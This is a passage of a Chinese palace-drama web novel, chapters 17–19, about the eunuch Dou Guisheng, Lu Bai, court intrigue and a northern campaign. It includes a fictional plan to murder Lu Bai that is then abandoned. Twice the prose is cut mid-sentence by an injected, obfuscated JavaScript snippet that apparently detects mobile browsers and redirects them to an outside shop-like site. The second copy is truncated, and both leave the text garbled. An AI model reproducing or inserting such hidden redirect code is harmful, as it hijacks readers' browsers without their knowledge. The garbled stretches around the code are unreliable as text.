“放那吧。”他盯着鼓鼓囊囊的荷包,鼻子里喷出“哼”的一声,气呼呼的摔门而出。 鹿白将这等反应算作答应了。对食果真不一样,这不比之前好说话多了!只是反应这么大,难道跟谢嫔没做过这种事? 然而刚出门,窦贵生被热气薰红的脸、被傻子气得神志不清的脑子霎时便冷却回正常的温度。为了那病秧子,她当真什么都肯做。 殿下再了不起,不也得求他么,他嘲讽地想道。 17. 第 17 章 既然认了女儿,就没有不把人接回来的道理。所以吴玉又来了。 窦贵生也在,他没有不在的道理。所以吴玉专挑这时候来了。 自老太后薨逝至今,休朝已有七天,皇帝便是再悲痛,到了规定的日子也得打起精神上朝。一年到头,臣子们难得有如此善解人意的时候,不忍再刁难这位已过半百的老人。是以不知道该不该说的,便不说;不知道该不该提的,便不提。给足了皇帝面子。 但有些事却耽搁不得。一散班,吴玉就揣着一沓折子忙不迭地追了上去。皇帝正跟九皇子商量方才朝臣们提的谥号哪一个好,冷不防背后蓦地传来一声幽灵般的呼唤:“圣上留步!” 不远不近,就飘在半米远的背后。 “哎哟!”皇帝踉跄两步,生生吓出一身冷汗。这吴玉,走路都没声的吗! 九皇子眼疾手快,一把扶住了父亲,不满地瞪了一眼吴玉:“吴相,父亲一把年纪了,经不得你这么吓唬。” 吴玉连忙惶恐地弯了腰:“圣上恕罪。” 皇帝如今连跟对手斗法都没有心情,挥了挥手,有气无力道:“外头太冷,去御书房吧。” 九皇子下颌动了动,退了半步,垂着手道:“父亲和吴相议事,儿子就不去了。” 皇帝正背着手往前走,闻言奇怪地看了九皇子一眼:“这离御书房还远着呢,好歹跟我说完话再走。” “是。”九皇子立马咧嘴笑了,“多谢父亲。” 皇帝知道他方才那懂事的样是假的,不高兴都写脸上了,不叫他跟着能行吗?他在九皇子手臂上轻敲了一下:“装模作样。” 九皇子原原本本遗传了霍皇后的孩子气,皱着鼻子,理直气壮道:“样子总是要装的,不然又有人说我不懂礼数。” 皇帝阴郁多日的脸上终于有了一丝笑意。 父子俩低声细语,匆匆走在前头。吴玉和窦贵生如同两人的影子似的,谦恭又坚定地跟在后头,各怀心事,缄默不语。 几人到御书房门口时,太子已经在候着了。九皇子扶着皇帝的手臂登时一僵,正要说“儿子该走了”,便被皇帝按住了:“元启去里间等等吧,待会儿你母亲就过来。” 九皇子怯怯地瞥了一眼云淡风轻、似乎不知人世险恶的太子,犹豫道:“那就听父亲的吧。” 直到人影在里间的屏风后消失不见,皇帝才收回了视线,领着在门口傻等的一群人进了屋。 吴玉有一件火烧眉毛的大事要跟皇帝禀报:“陈军已夺朔北五城,三万大军不日便抵舌州。” 周、陈时有摩擦,两军交战的战报个把月前就来了,只是当时没人意识到会变得如此严重。 皇帝身形一颤,跌坐在椅子上:“哪天的消息?” “先太后薨逝那日。”吴玉沉声回答。 “七天了……”皇帝喃喃道,“此时定然已经与查门戈交手了……为什么早不告诉我呢?” 他顺着高大的椅背缓缓下滑,仿佛变成一颗无法孵化的鸟蛋,缩在海边摇摇欲坠的巢穴中。 吴玉身子弯得更低了:“圣上恕罪。” 皇帝能怪罪什么呢?丞相嘛,不说自然有不说的道理,他总有一番道理。 太后薨逝对皇帝而言是大事,对朝臣而言是大事,对天下百姓而言也是大事。只不过,查将军和舌州百姓显然不在此处所说的“百姓”之列。 一旁的窦贵生也跟着心惊。这折子压根就没送到他手里,准是叫吴玉给压下了。往日外头来的急报,在入京的第一时间便会知会司礼监,尤其是军报。驿使入了城,一份急报送丞相府,另一份则马不停蹄地送到宫门处的文书房,一两个刻钟后,准会出现在窦贵生手中。 等窦贵生与皇帝把内容原委、前因后果一一讲清,吴玉也该拿着拟好意见的折子入宫觐见了。 这回趁着老太后薨逝,宫中乱成一团,吴玉竟玩了这么一出。窦贵生心中冷笑,真是老糊涂了。 吴玉不可能真的做出这等延误军机的蠢事,但他确实有自己的考量。见皇帝似乎平静了几分,他便继续道:“查将军请派一万援军。臣已与邓献去信,京北大营共三千,另禁卫一千,余下六千从朔郡沿途调拨。只待圣上一声令下,京军随时准备进发。” 一万援军算不上多,且查将军语气并不十分急切,因此吴玉并不认为此仗会输。依以往经验来看,过程会艰辛一些,但最终结果总是好的。 皇帝愣了半晌,才惊醒似的抖了抖脖子,斟酌着开口道:“朔郡沿途只三处可以调兵,杨信跟李乐山素来不和,决不能凑到一起,因此便只剩两处。邹义手中兵力虽少,但借出的必定都是精兵强将,自然不必担心;杨信有几分本事,但毫无容人之量,必定不肯借兵,到时就说调兵七千,最后削削减减,少说能剩四千。杨信若不愿亲自领兵,便叫他手下姓卢的一个副官出战,别人都不行。明日把统帅和督军定了吧,不能再拖了。” 皇帝的语气跟平时没有任何差别,沉静淡薄的神情仿佛回到了那一日,他对朝臣们说: 某年某月某日,我与霍氏在某棵树下相遇,聊了两炷香,喝了三杯茶,踢了四个毽子,有一个掉在地上,后来我与她生了两个孩子,一个儿子活到现在,另一个公主三岁时早夭。 所以朕要立后,你们都别争了。 吴玉确实没有想到,皇帝方才那短暂的呆滞并非是受了打击,而是在思索对策。 他怎么忘了,龙椅上的这位并非是不谙世事的少年君主,而是被边塞风雪鞭打洗礼过、被陈国刺客射穿过两根肋骨的中年帝王。 这也正是太子崇敬父亲之处。透过二十几年的时光,太子仿佛还能忆起听父亲讲述往事的热血沸腾,即便他终其一生也换不来父亲的一丝关爱。他至死也不明白,父亲明明是个明君,为什么偏宠霍后到如此地步?为什么对他这个嫡长子没有一丝丝怜悯? 太子大概永远都想不通,曾经少年热血的父亲,最痛恨的便是一日比一日懦弱无能的自己。对于一个出于敬仰刻意模仿父亲、甚至已与父亲性子近乎一致的太子,他又怎么喜欢得起来? 要当皇帝,还是狠心点好。 距离皇帝最后一次经历朔北大战,已经过去了三十八年。但岁月并未消磨掉他对于战场、风沙、鲜血的记忆,随着回忆的一遍遍描画,那些场景变得刻骨铭心的清晰。随着吴玉的奏报,已经埋葬在骨髓里的东西似乎也开始鸣鸣作响。 一切仿佛就在昨日,就在眼前。 在吴玉再度开口前,窦贵生便颇有眼力见儿地呈上了拟好的批示,指着最后一行提醒道:“圣上说的可是卢乌,跟查将军一样是栗赫人,黄发褐眼,手背有片胎记的?” 皇帝投来感激的一眼:“正是他。” 吴玉于是不再发表意见,对战场上的事他也不了解,索性将剩下几本折子一并呈上,让皇帝亲自过目。皇帝翻看两眼,呼出一口浊气,把折子递给窦贵生:“按吴相拟的办吧。” 窦贵生应了声是,轻提朱笔,重重落下。最后一笔完成,此事便算尘埃落定了。 接着,便是今日的正题、吴玉此行的主要目的了。总算说到了。 “圣上,老臣还有一事相求。”吴玉一撩袍角,眼看着又要跪下。 太子忙不迭上前扶了一把,吴玉顿时涕泪沾裳,痛哭失声:“殿下如此不计前嫌,老臣实在、实在是……” 太子立刻明白他说的是什么,面带怅然地安慰道:“吴相不必自责,这等事强求不得的。” 吴玉抹了把眼泪:“是老臣教女无方。” 啧,说的就跟他真教过似的。窦贵生欣赏着这俩人你来我往的表演,面无表情,心无波澜。 皇帝却忽的低声道:“你上回说对食不算真的,究竟怎么回事?” 窦贵生淡定地合上折子:“回圣上,是她求了臣几回,臣从未同意。只是那时她已经是吴相的女儿了,我若当众拒绝,岂不是拂了吴相的面子?” 说得头头是道,冠冕堂皇。但平心而论,“吴相的女儿连太监都不要”与“吴相的女儿连太监都要”也没什么本质差别。 沉浸于彼此捧臭脚的人闻言都停住了动作。 “窦公公所言……皆是实情?”吴玉瞪着猴子似的老眼。 “是不是实情,吴相一问陆白就知道了,我哪敢骗您呐。”窦贵生不咸不淡地回了一句。 吴玉的胡子像被惊鸟略过的树枝,激动地抖了抖:“好,好!总不能叫她与一个太监——” “咳。”皇帝发出一声咳嗽,吴玉立马噤声。 太子依旧带着储君优雅和善的面具,视线礼貌地滑过被皇帝一心维护的窦贵生。他不一样,他是太子,他要有容人雅量,他要做一个仁君,不妒,不恨,不怨,不争。 吴玉称自己病倒数日,又听闻老太后薨逝,悲痛欲绝,几无心力,今天拖着病体入宫,无论如何也要见圣上一面,见女儿一面,以了心愿。 皇帝差点就要破口大骂。刚到七天就迫不及待地逼天子上朝,结果吴玉反倒拿这当作无心上朝的借口了! 几无心力?悲痛欲绝?死的是我娘还是你娘啊! 窦贵生踢了苏福一脚,皇帝默契地望过来,无奈道:“知道了,叫苏福去趟莫啼院,把陆白带来。至于她愿不愿意回去,那就看由不得旁人插嘴了。” 他颇有一丝看好戏的意味,幸灾乐祸道:“吴相不必着急,急也没用。” 反正你闺女是个傻的。 “多谢圣上!”吴玉行了一个完整的大礼,“老臣日思夜盼,终于能与小女团聚了。” 窦贵生挑了挑眉。他怎么记得,鹿白这几天找过“亲爹”好几次,都是为了顺嫔和那几个累赘的事儿。可吴玉却推脱搪塞,一次都没见。鹿白一面照顾十六皇子,一面求爷爷告奶奶,最后无奈,只得再次找上他。 “不帮我,我就把你和谢嫔的事说出去。”鹿白心慌意乱,口不择言,“信已经交给甄冬了,要是我半个时辰没回去,她就立马告诉圣上去。” 她纯粹是胡编乱造,但窦贵生却当真了。 信么,没什么稀奇的,他这儿也有一封。窦贵生低头摸了摸心口。 没多时,鹿白就来了。 她知道窦贵生在屋里,但双眼仿佛被磨盘磨过似的,干涩得连转转眼珠都费劲,所以行礼之后就目不斜视,一门心思欣赏着自己的脚尖。 赵芳姑和甄秋不在,院里只有两个洒扫太监,照顾十六皇子的重担便落到了鹿白和甄冬的身上。一旦真正入了秋,气温就跳水般陡然下跌,没领到炭盆的各宫各院就十分难熬了。 十六皇子那天跪灵本就受了风,又因为顺嫔的事急火攻心,回来就一病不起。 霍皇后找的借口实在叫人挑不出错处——佛堂总是要人跪的,祈福总是要诚心的。只不过这次的人选由好妹妹谢嫔变成了软柿子顺嫔而已。 鹿白心道霍皇后真是傻透了,谁知道顺嫔是诚心祈福还是咒她早死?佛祖若是知道自己变成妃嫔们争宠的工具,不定降罪到谁身上呢。 她跟甄冬学着煎药,学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218253|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着给十六皇子穿衣、脱衣、擦身子,但十六皇子却屡次三番地拒绝。有一次,也是唯一的一次,十六皇子冲她发了火。 “你出去!”他眼眶通红,鼻头和双颊因为断断续续的发热,也不自然地红着。 鹿白第一次见他这么激动,手中的帕子扔也不是,不扔也不是。她只当他是病得难受,耐心劝道:“殿下总不能穿着脏裤子睡觉吧?” 方才来不及走到恭桶他就尿了,裤子上湿哒哒的往下滴水。 十六皇子像是被什么东西噎住了,脸迅速地涨成紫红色:“不用你管!你、你给我出去!” 这声音于他而言已经是声嘶力竭的呐喊了,鹿白果然被唬住了,把帕子塞到他手里,便小心翼翼地退了出去。刚关上门,就听见十六皇子在屋里放声大哭。她无奈地转过身,正想进去安慰几句,便被赶来的甄冬拦住了。 “你要是真关心殿下,就为娘娘想想办法吧。”甄冬的眼神清澈冻人,像是在井水里淬过,“殿下现在最不愿见的人就是你了。” 越想越心累,鹿白像是被吴玉传染了,自己也变得又憔悴又虚弱。 几日不见,吴相的眉毛都白了几根。他似乎很是激动,双眼瞪得吓人,一把攥住鹿白的胳膊:“你近日可好?” 那双手格外用力,鹿白恍惚间觉得自己像是双臂卷入机器的操作工,不知是因为疼而挣扎,还是因为挣扎而疼。 “回吴相,好。一切都好。”鹿白咬牙说了两个好,反手扣住那双布满老年斑的鹰爪,恨不得刮出两道血印子。除了当事两人,没有人知道他们在较劲。 如此激动感慨,分明是父女相认的前兆。 吴玉拖着半真半假的虚弱语调,意有所指道:“跟父亲回府,别给十六殿下添乱。” 言外之意,不回府可能真会出点乱子。 鹿白心头一跳:“吴相说笑了,您怎么可能是我爹呢?” “你从前的院子还留着你,随我回相府一看便知。一看你就能想起来了。”吴相吃痛,缓缓松了手,“不过,得先与十六殿下知会一声才行。” 知会什么,知会他你要把他亲娘害死了? 鹿白不动声色地退了半步,为难道:“可是……可是我舍不得殿下,舍不得顺嫔娘娘,更舍不得窦公公呀!” 窦贵生的笔应声而落,皇帝十分配合地笑出了声。 吴玉:“……此事休要再提!” 鹿白:“哪件事?” 吴玉:“……” “还能有哪件事,”此时窦贵生倒是好心解围了,“你我对食的事。” 吴玉立马抢答道:“窦公公已与我说了,不过是替你解围,免得你难堪罢了,你还当真了?还不快谢过窦公公!” 窦贵生:“吴相不必客气。” 逢场作戏,玩玩而已。鹿白只听出了这八个字。 此事全凭一张嘴,自然谁声音大谁是真的,她已经无暇争辩了,赌气似的鞠了个躬:“哦,多谢。” 好像谁上赶着似的。骨气么,她也是有那么一点的。 如此一番,鹿白仍然期期艾艾,放不下,不肯走。 窦贵生心生轻蔑,一会儿想,那病秧子是能给她皇后凤冠啊还是能给她儿孙满堂啊,非得死赖着跟条狗似的;一会儿又想,选了这么个事事无成的傻子,他们莫不是眼瞎了。过了会儿便再度确认,傻是肯定不傻,一会儿一个太子,一会儿一个十六殿下,还有什么小豆子,男人们都被她捏在手心里呢。 鹿白其实可以走,但不能去相府。吴玉本可在认亲之后顺理成章地把她送进东宫,万万没想到这傻子竟把他摆了一道。今天要是回去,明天就能传出相府嫡女溘然离世的新闻。 此外,她还得先把人捞出来呢。 无数统计学的结果表明,相关并非代表因果。顺嫔如何,赵芳姑和甄秋如何,就算与鹿白相关,也不是她本人直接造成的。若说为什么救他们,可能更多的是为了她自己,为了夜里能做个好梦,为了不至于被鬼魂吓醒。 至于救不救得出就与她无关了。反正她救了。 从某种程度上而言,她与窦贵生是一样的人——一样的冷漠。 吴玉乘兴而来,败兴而归。鹿白若是个宫女还好说,强行带走就是,偏偏她不是——他老人家亲口承认的,当真是搬起石头砸了自己的脚。 出门时,窦贵生指尖不经意擦过心口,里头的信似乎已经跟衣衫融为一体,服帖得毫无存在感。 “陆女史,”他忽的叫住鹿白,“你可知道贞妃谢氏?” 这模样不像是聊天,倒像是第一回进典刑司,被人居高临下地质问“你可知道犯了哪条规矩似的。老太监实在喜怒无常,各种角色无缝切换,鹿白只当他是间歇性发作,缩着脖子老实道:“听过一些。” “九皇子以前,皇上可是好几次准备立四皇子为储呢。” 先生点到为止,学生立马领会。四皇子正是已逝贞妃所出,按这套路,贞妃生前也算是皇帝的真爱了。据说,顺嫔当年就是因为长得像贞妃才入宫的。 懂了,明白了。 “圣上召谁侍寝也不是我说了算的,还……” “呵。” “还得是您说了算呀!” 窦贵生对她生硬的奉承毫不感冒,鼻孔喷出一个意味不明的气音,像是吹开挡路的一粒浮尘。 “亥时三刻,靖萝园角门。”他扔下一句话便匆匆走了。 鹿白还不知道他的打算,以为他终于肯帮她,高兴大叫:“哎!” 18. 第 18 章 望见靖萝园的角门时,窦贵生就后悔了。 他再次想到了“不值当”。为了杀鹿白,把他自己搭进去,简直太不值当了。而且也不该亲自动手。 但他实在想不到可以信谁,唯一信得过的苏福,说不定也对鹿白有点什么。差点忘了,被她玩弄的男人还有一个苏福呢。 窦贵生再了解九皇子不过了。就算他再帮着皇帝,再顺着皇帝的心意为九皇子着想,对方也不会惦记着他的好。而只要坏了一次事儿,对方就会立马翻脸,对他赶尽杀绝。白眼狼都这样。 鹿白自然也在九皇子的报复之列。如果不是吴玉认亲在先,杀了她简直易如反掌,何必还要大费周章地把人骗出宫?窦贵生很想告诉他:吴相大可不必,我其实早就知道了,非但不会借此生事,还会帮你们遮掩一二,放心杀她吧! 其实他没必要插手的,作壁上观的结果也一样。 窦贵生在原地站了片刻,任由沁凉的夜风从麻布粗犷的缝隙中钻入。 不过,也不尽然,心中一道更冷静的声音开了口。九皇子是什么秉性,难道会就此放过他吗?不如他先下手为强,杀了鹿白,替他清理门户,正好趁机投诚。再提一句贾公公的荷包,讲一个关于太子和柑橘不得不说的故事,软硬兼施,由不得对方不信他。 先敲晕鹿白,喂下毒药,等人咽气了就扔到湖中。尸身泡个几日,即便找到也认不出来了。还有一封信,到时恰到好处地埋在某处,被人发现,只会认为她是为情自尽。 很好,今晚他就要亲手解决这个祸患。 窦贵生脑中演练了一遍流程,又摸了摸凶器——一根一斤八两、细长柱状、再普通不过的铜质烛台——抬脚往前迈去。 鹿白正在角门处等他。莹白的孝服令她像个害了帕金森的女鬼,又像是热锅上的兔子。 在冷风中蹦跶了好一会儿,她才发现自己太显眼,四处张望了一番,朝桂香四溢的树丛里缩了两步,只在外头留下一块白色的影子。片刻后,一只手伸了出来,一把抓回掉落在地的孝帽,急切中带着一丝显而易见的懊恼。 窦贵生:“嗤。” 那只手顿住了,紧接着,鹿白的半边身子从门内探出来,看了一眼声音的来源,又飞快地缩了回去。留下一只酒旗招展的手在风中招摇:“这儿,快来!” 窦贵生压根听不见她说的什么,只听见如同回声一般的“嗤嗤,嗤嗤!” 凶器就在袖中,现在就可以杀了鹿白。他摸了摸烛台,摸了摸信,摸了摸药丸。又摸了一遍。 盯着那只着急挥舞的手看了半晌,他忽的掏出信,三两下撕成粉碎。 算了,今晚月光太亮,窦贵生心道。太亮了,诸事不宜。 鹿白等了许久也不见人过来,着急忙慌地钻出树丛。一见窦贵生还在,她脸上顿时露出如同月光一般的笑。似曾相识的一幕令窦贵生有些恍惚,这傻子不会知道,她方才是如何命悬一线,如何九死一生,如何侥幸得活——自然是在他的想象里。 “你来啦!”鹿白贴着墙根,谨慎地把自己隐在阴影中。 窦贵生“嗯”了一声,皱着眉走了过去:“偷偷摸摸,像什么样子。” “合着你还以为多正大光明呢。”鹿白咕哝道。见窦贵生双眼一眯,她立马露出两排白牙,讨好地扯住他的袖子:“快说吧,我等半天了。” 别管小豆老窦,能帮她的就是好窦。 “说什么?”窦贵生立马拽出了自己高贵的袖子。 “你敢说不记得了?”鹿白瞪大眼。 那眼睛在夜里十分吓人,窦贵生慢悠悠地把手背到身后:“哦,想起来了。” 鹿白:“那快说——咳,求你行行好。” 窦贵生大发慈悲地开了口:“上次我说的,你可还记得?” “记得,顺嫔娘娘肖似贞妃,所以圣上喜欢她,皇后才为难她。可现在娘娘被关在佛堂,连圣上的面都见不到,怎么勾——叫圣上留意呢?” “这只是一半。”窦贵生心道她还是不了解男人,更不了解皇帝这样的男人,“圣上如果单是爱她的样貌,怎么顺嫔这么多年未见得宠?” “……因为她们性子不同?” “先贞妃表面也是个柔顺淑娴之人,单说这点,与顺嫔别无二致。但她高明便高明在,表面柔顺,暗地放浪,越是如此,便越是勾人心魂,越是叫男人宠之入怀,爱之入骨。” 鹿白以为然,细细品了一遍这段话,突然狐疑道:“你……懂得还挺多。是听过还是见过啊?” 窦贵生:“……我听那干什么,你还管到我头上了!” “道理我懂,但我上哪儿知道娘娘暗地里放不放浪?放浪程度能不能让圣上满意?而且我也无从得见圣上,难不成……你跟他提?”鹿白很怀疑窦贵生高傲的尊口能说出“圣上快去看看顺嫔吧”之类的话。 “此事不能你提,不能我提,要十六皇子提。提也不是你这么个白痴提法。” 窦贵生附在鹿白耳边,悄声说了几句。鹿白眉头紧锁,目光深邃地凝望着他:“你再说一遍?” “……只此一遍,爱信不信。” 鹿白表情忽喜忽悲,眉头忽紧忽松,半晌,终于叹了口气:“那就依你所言吧。” 窦贵生火气噌一下上来了:“哟,你还嫌弃上了?这是你求我,还是我求你啊?得了,从今往后你也别来找我,你不是厉害嘛,不是有本事嘛,出了事自己想办法去,相府的主子我窦贵生伺候不起!” 鹿白被这劈头盖脸的指责说得一愣一愣的。等他转身走出好几步,故意放慢了步子,一道荒谬的闪电忽的凌空降落,在她脑壳上劈开一个窍。会不会,会不会…… 错位的两根神经霎时顺利接轨,堵塞已久的荒谬猜测终于找到了出口,一股脑涌了出来。自此大路朝天,通畅无阻。 “窦公公。”两团白影融为一团,鹿白从背后抱住了他,“你是不是在等我?你不喜欢谢嫔啦?” “放肆!轮得着你问我,你是不是……”窦贵生的声音越来越小,最后彻底听不见了。 寂静在两人身周流动,半晌,鹿白终于开口,声音却十分怪异:“我是不是,该死?” 窦贵生不明所以,正要转身,一只手忽的摸上了他的胳膊。前一瞬还浑身僵硬,思绪乱飘,后一瞬,所有的知觉便瞬间清空,感官全部汇集到腕上两寸、肘下半寸的那截左臂之上。 鹿白的手伸进他袖中,摸到了那根烛台。 “这是给我的礼物?”鹿白慢吞吞地问道,手在那根冰冷的铜棍上按了一下。 窦贵生猛地退开好几步,强作镇定地抚弄袖子,还恬不知耻地倒打一耙:“你就是这么跟我说话的?袖子也是你随便乱摸的地方?” “还是说,先生这是准备防身用的?”鹿白不依不饶,似乎非得问出个所以然。 窦贵生动作一顿,缓缓把手背到身后,正色道:“你觉得呢?” “我觉得都不是。你是来杀我的。” 窦贵生费劲地扯出一抹冷笑,终于说出了这些日子一直憋在心中的话:“陆白——我这辈子都被你毁了。” 毁得一干二净,毁得悄无声息。 人这辈子活个什么呢?活个权势滔天,活个位极人臣,活个锦衣玉食,活个颐指气使? 他好像已经达到了,又好像全然相反。 窦贵生想不通。怎么越是努力,就越是阴差阳错,越是钻营,就越是造化弄人,越是追求,就越是失之交臂,越是讨好,就越是里外不是人? 二十年,没有一个人对他好。怕他,都怕他。 听了这话,鹿白脸上没有丝毫愠怒或是受伤,也没有急着辩驳,她只是有些同情地叹了口气,仿佛在安慰一个失恋的朋友:“先生,一辈子还长着呢,你还年轻。” “呵,谁又比谁长呢……”窦贵生垂下睫毛,不知是在笑她还是笑自己。 自从江如登上司礼监掌印,他就该意识到,自己这辈子已然结束了。多活的每一天,都要接受命运对他的肆意嘲讽,“时也命也”不过是弱者自我安慰的托辞,他不该自欺欺人。 “不论如何,你没杀我,我这辈子就又多了一天。也许还有许多天,指不定活得很长。比你还长。”鹿白冲他行了一个大礼,“鹿白多谢先生不杀之恩,还要替殿下和娘娘多谢先生救命之恩。我走了,告辞。” 那一声告辞之后,乌云遮住了月亮。带着飘忽不定的梦寐,那团雾气终于离开了他。 靖萝园的月亮暗了,佛堂中的长明灯也暗了。 顺嫔并不笨,在皇帝满面哀戚推门而入时就明白了。他绝不会将诸如悲哀、痛苦、愤怒的情绪展示在霍皇后面前,像是每天下班后在门口努力练习微笑的中年社畜,他给自己的不如意掩上了一层风趣的滤镜。霍皇后听不到他的抱怨,他永远是她面带忧郁、风度翩翩、万人之上的丈夫。 是以他将这些脏水污秽统统泼到别人身上。 顺嫔没几日就被放了出来。皇帝告诉霍皇后,她病得很厉害,好歹是皇子的生母,别做得太过分。霍皇后一看,果然,顺嫔又烧又咳,苍白的脸上红斑连成一片,瞧着都快不行了。 皇帝去看过她,可能心软了,霍皇后心想。终于放他们一马,还叫了太医。 “谁又比谁命好呢。”顺嫔感叹道,没有说自己拖着病体伺候皇帝,却被误以为是“放得开”。她觉得皇帝也病得不轻。 甄秋被打过了,撅着屁股跟十六皇子卖惨,十六皇子好几次都被他气笑了。赵芳姑自然也没能逃掉,不过她只是托药碗的手稍微抖了些而已。 圣上终于宠幸娘娘了,莫啼院就要有好日子过了,总有人如此天真地在心中期盼。除了鹿白。 “我觉得,殿下最近还是小心为妙。”鹿白隐隐有一丝不详的预感。还有一丝丝即将脱离苦海的直觉,与那阵担忧混杂成一团,难以分辨。 与九月一同到来的,是舌州的战报。 查门戈苦守半月,城破,舌州失守,等不及朝廷援兵,他先向最近的李乐山借了三千兵马,一路抵抗,一路东撤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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丞相吴玉观望许久,终于出面表态:“东宫乃国本,不可动摇,如圣上所言,九殿下并无领兵经验,恐难胜任督军一职。臣以为,齐王殿下位尊福厚,若有齐王坐镇,此仗必定得胜。” 齐王就是皇帝八十九岁的七叔了。此人非常能活,在章家的一群短命鬼中实属难得。 皇帝差点被气死。 但吴玉的话启发了他,章家的人还有不少,光是他儿子,还活着的,就有一、二、三……整整三个呢。对啊,三个呢! 圣旨到了莫啼院的门口,又被皇帝急匆匆地召了回去,他才想起还没问过这儿子的意思。传旨太监一头雾水,依着吩咐把十六皇子叫到皇帝寝殿。 这是十六皇子第二次来这儿,上次还是刚记事的时候。房间的布置变了许多。 皇帝先征求了他的意见:“得胜归朝,便给你记头功。败了也无事,没人会怪你,反正督军就是个摆设。元真,你愿意去吗?” “头功”两个字如同一根美丽的针,引诱他不断凑近,不断受伤,被刺得鲜血淋漓。他试图忘记鹿白替他换裤子、倒恭桶的场景,试图不去想老太监轻飘飘的两句话便救了他娘甚至是他的命,但一切都是徒劳。他只能呆滞又无助地站在他们周围,什么都做不了。 他做梦都想离开皇宫,离开京城,骑一次马,过一次河,摘下一朵枝头的花,放走两只惊弓的鸟。 总归是要死的,十六皇子想道。人总归都要死,他也一样。 他重重磕了个头,欣喜万分地接过父亲的恩赐:“儿子定当……万死不辞。” 圣旨早就由秉笔太监拟好了,一字未改。皇十六子元真任督军,紧随邓献其后,即刻启程,前往朔北。 鹿白辗转反侧,终于在一夜思索后找上十六皇子:“殿下,带我一起吧!” 十六皇子想拒绝,又想接受,下意识向赵芳姑求助。忽的想起什么,又连忙收回视线,沉吟片刻,他低低问道:“一起走,还一起回来吗?” 鹿白只是定声道:“殿下,带我走。带我出宫。” 她仿佛用尽毕生的力气做出了决定,指尖冰凉,手腕发颤。 十六皇子浅笑道:“我知道了,咱们一起走吧。” 离开京城那天,院里的桂树挂了一层冰花。鹿白悄悄折了一枝,插在十六皇子的马车上,十六皇子笑她:“我还以为你要带什么宝贝,结果就是枝桂花。” “这枝不一样。”鹿白一本正经,抑扬顿挫,“这是我,从莫啼院,特意摘出来,送给殿下的。” “拿下来给我吧,坏了怎么办。”十六皇子伸手道。 赵芳姑送几人上车:“院里有的是,以后再折就是。” 以后,也许很难再有以后了。 送行的队列中,吴玉始终弓着腰,鹿白看不清他的神情,或许是在掩饰怒火,或许是在故作悲痛,但已经跟她无关了。此出京城,她能直接抵达朔北,直接回家。 ——但愿如此。 大军拔营,气势汹汹却格外冗长,走了一个多时辰还没走出营门。前头的走出好几里,已经到了集合地,后头的还堵在营门口。等重新整顿,再度出发,行进速度便快多了。这才有几分京军的样子。 此外,还有一个不值一提的变动。为了弥补皇十六子“经验不足,才疏学浅”,皇帝与朝臣们几轮密商,特意给他选了一位精通兵法、老谋深算、且忠君爱国的帮手。 凑巧,还是个老熟人。 19. 第 19 章 像毫不期待地来到大周京城一样,鹿白毫不留恋地登上马车,毫不留恋地离开京城,看都懒得多看一眼。 她一生曾三次离开这座陈腐、肃穆、不安的古老城池,第一次为了逃离,第二次为了回家,第三次则是为了找回她满世界乱窜的爱人。 记忆常常与未来混淆,令人有一种恍若预言、如在梦境般的错觉。同样的送别,同样的告别,同样的离别,如同碌碌的马车车轮一般,在鹿白脑中不断翻滚,形成一个个难以解开的轮回。 朔北风光无限好,鹿白却无暇欣赏。透过尚未上冻的河水,越过浩渺的烟波,她仿佛见到了一艘富丽堂皇的船,正载着一无所知的她和心怀鬼胎的吴玉,从天际缓缓驶来。 他们现在前进的方向,正是鹿白来京的方向。吴玉救人的地点在上游,她有预感,沿着舌江一路北上,便能回到她魂牵梦绕的家乡。 怎么偏偏那么巧,吴玉的祖籍在朔北? 怎么偏偏那么巧,吴玉的船停在她落水的地方? 隔着那么远,怎么那么巧,吴玉偏偏看到了水里的她? 十六皇子并没有问她要去哪儿、什么时候离开,只是每天早晨醒来都会催促甄秋赶快出门,若是甄秋带着鹿白一起回来,他便会笑得特别开心。 但鹿白特别不开心。因为跟她一起来的不仅有甄秋,还有窦贵生。 直到上船那天,鹿白才知道窦贵生也跟来了。她还纳闷呢,十六皇子比看上去年纪还要小一两岁,别提领兵打仗的经验了,连兵法可能都没看过,就凭他,能镇得住场子吗? 现在她不担心了,也用不着她担心——最高权力的代言人跟来了。 瞧瞧,皇帝也不傻嘛。不对,这世上除了她,大概没人傻。 窦贵生并未大张旗鼓地出行,只因他身揣着皇帝的玉印,又恐宦官督军引起军中动乱。没错,名义上十六皇子为督军,但兵符和玉印都在窦贵生手里,明眼人都能看出谁在假谁的威。 到了舌江渡头,大军兵分两路。为照顾体弱多病又身份尊贵的十六皇子,一部分将士护送他坐船北上,从更平稳的路线前进,不过路绕了些;余下的渡江后直奔赢城,与查门戈和邓献汇合,预计比另一拨早到四至五天。 鹿白几人安顿好,正坐在船舷上晃腿玩,背后突然传来一道熟悉得不能再熟悉的声音:“见过十六殿下,臣——” 后面的话鹿白没听完,因为时隔多日,她再次体会了一把落水的刺激。 醒来的时候,甄秋说窦公公求见。鹿白诚惶诚恐地爬起来,中气十足道:“这可真是折煞我了,我哪儿敢叫窦公公用求字,要求也该是我求他老人家啊。” 然后倒在床上:“不见!” 甄秋:“……” 窦贵生自然听见了,他怀疑整条船都听见了。 十六皇子的房间就在旁边,门轻轻推开了,惨白的少年冲他无奈一笑:“窦公公,外头冷,进屋坐会儿吧。” 这门开得也太是时候了,窦贵生猜测十六皇子一定在门背后偷听,不但知道他被拒绝了,还知道他在外头等了许久了。 “多谢殿下。”尴尬的窦贵生纡尊降贵地点点头,心怀感激地顺着台阶下来了。 鹿白盯着床帐上的百合绣纹看了半晌,忽的翻身下床,发神经似的趴到门上。甄秋还没反应过来,就见她又以迅雷不及掩耳之势飞奔回来,钻到床里。 “可算走了。”她长舒一口气。 甄秋不解:“你们不是对食吗?”怎么见了他跟见鬼似的? 